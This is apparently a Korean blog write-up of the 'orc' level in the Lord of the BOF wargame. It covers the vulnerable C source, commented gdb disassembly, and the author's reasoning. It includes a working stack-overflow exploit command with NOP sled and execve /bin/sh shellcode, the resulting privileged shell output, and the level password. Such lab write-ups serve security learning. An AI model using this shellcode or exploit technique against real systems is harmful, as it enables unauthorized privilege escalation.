/* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer); }
(gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048501 <main+1>: mov %ebp,%esp 0x8048503 <main+3>: sub %esp,44 //스택 할당
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push 0x8048630 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add %esp,4 0x8048519 <main+25>: push 0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add %esp,4 //argv error
0x8048523 <main+35>: nop 0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0 //i = 0 0x804852b <main+43>: nop 0x804852c <main+44>: lea %esi,[%esi*1] 0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44] //i 0x8048533 <main+51>: lea %edx,[%eax*4] //environ 0x804853a <main+58>: mov %eax,%ds:0x8049750 0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0 //0이랑 environ[i]랑 비교 0x8048543 <main+67>: jne 0x8048547 <main+71> //다르면 main+71로 점프 0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44] //i 0x804854a <main+74>: lea %edx,[%eax*4] //environ 0x8048551 <main+81>: mov %eax,%ds:0x8049750 0x8048556 <main+86>: mov %edx,DWORD PTR [%eax+%edx] //environ[i] 0x8048559 <main+89>: push %edx 0x804855a <main+90>: call 0x80483f0 <strlen> //eax에는 strlen(environ[i])의 결과가 들어감
0x804855f <main+95>: add %esp,4 0x8048562 <main+98>: mov %eax,%eax //?이거왜하징 0x8048564 <main+100>: push %eax //strlen의 3번째 인자 0x8048565 <main+101>: push 0 //strlen의 2번째 인자
0x8048567 <main+103>: mov %eax,DWORD PTR [%ebp-44] 0x804856a <main+106>: lea %edx,[%eax*4] 0x8048571 <main+113>: mov %eax,%ds:0x8049750 0x8048576 <main+118>: mov %edx,DWORD PTR [%eax+%edx] //environ[i] 0x8048579 <main+121>: push %edx //1번째 인자 0x804857a <main+122>: call 0x8048430 <memset>
0x804857f <main+127>: add %esp,12 0x8048582 <main+130>: inc DWORD PTR [%ebp-44] //i 증가 0x8048585 <main+133>: jmp 0x8048530 <main+48>
0x8048587 <main+135>: mov %eax,DWORD PTR [%ebp+12] 0x804858a <main+138>: add %eax,4 0x804858d <main+141>: mov %edx,DWORD PTR [%eax] 0x804858f <main+143>: add %edx,47 0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf 0x8048595 <main+149>: je 0x80485b0 <main+176> 0x8048597 <main+151>: push 0x804863c 0x804859c <main+156>: call 0x8048410 <printf> 0x80485a1 <main+161>: add %esp,4 0x80485a4 <main+164>: push 0 0x80485a6 <main+166>: call 0x8048420 <exit> //if(argv[1][47] != '\xbf'{ printf, exit }
0x80485ab <main+171>: add %esp,4 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov %eax,DWORD PTR [%ebp+12] 0x80485b3 <main+179>: add %eax,4 0x80485b6 <main+182>: mov %edx,DWORD PTR [%eax] 0x80485b8 <main+184>: push %edx 0x80485b9 <main+185>: lea %eax,[%ebp-40] 0x80485bc <main+188>: push %eax 0x80485bd <main+189>: call 0x8048440 <strcpy> //strcpy(buffer, argv[1])
0x80485c2 <main+194>: add %esp,8 0x80485c5 <main+197>: lea %eax,[%ebp-40] 0x80485c8 <main+200>: push %eax 0x80485c9 <main+201>: push 0x8048659 0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add %esp,8 0x80485d6 <main+214>: leave 0x80485d7 <main+215>: ret 0x80485d8 <main+216>: nop 0x80485d9 <main+217>: nop 0x80485da <main+218>: nop 0x80485db <main+219>: nop 0x80485dc <main+220>: nop 0x80485dd <main+221>: nop 0x80485de <main+222>: nop 0x80485df <main+223>: nop
일일이 적을필욘없지만.. 정리할겸 |
아무튼 버퍼사이즈 44byte에 부랄헌터(환경변수 초기화)와 RET 영역에 덮어씌인 데이터가 0xbf~로 시작하는지 체크합니다.
0xbf로 시작한다 해봐야 환경변수영역이랑 스택영역인데 환경변수 사용못하니까 아까처럼 풀면될것같네여
뭐 44바이트니까 24바이트짜리 쉘코드 쓰던거 쓰면 되겠죠
디버깅할때
0x804859c <main+156>: call 0x8048410 <printf>
요부분 브레이크 걸고 디버깅했던 적이 있는데.. 스택인줄 알고 으잉 왜 유저 인풋 다음에 전부 널바이트지;;;했는데 알고보니 argv 였다는 -_-; 아무튼.. strcpy..다른문제들도 여기서 break 걸고 buffer를 봐줍시다 ㅠㅠㅠ
다시 봐줍니다..strcpy 하고나면 eax가 가리키는 스택에 값이 박힌것을 볼 수 있어요.
AAAAAAAAA가 44바이트짜리고 bfbfbfbf가 if우회하려고 한거에요 이제 AAAAAAAA영역의 주소를 bfbfbfbf위치에 적어주면 되겠네요
근데 뭔가 좀 잘 안되서.. 그냥 ret 뒷부분에 쉘코드 넣고 거기에 주소 박았어여 다시 해보면 될것같은데 귀찮네요(...) 아마 gdb안에서 실행했을때의 스택 주소랑 실제로 보이는 주소랑 차이가 나서 그런듯해요
[goblin@localhost goblin]$ ./orc `perl -e 'print "\xbf"x44, "\x70\xfa\xff\xbf", "\x90"x64, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜p?퓧???????????????????????????????????????????????????????????????1픐h//shh/bin??S??
것
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata
오크. 쉘. 성공적.
'워게임 > lord of bof' 카테고리의 다른 글
level 5 -> 6 (0) | 2015.10.23 |
---|---|
level 4 -> 5 (0) | 2015.10.23 |
level 2 -> 3 (0) | 2015.10.23 |
level 1 -> 2 (0) | 2015.10.23 |
level gate -> 1 (0) | 2015.10.23 |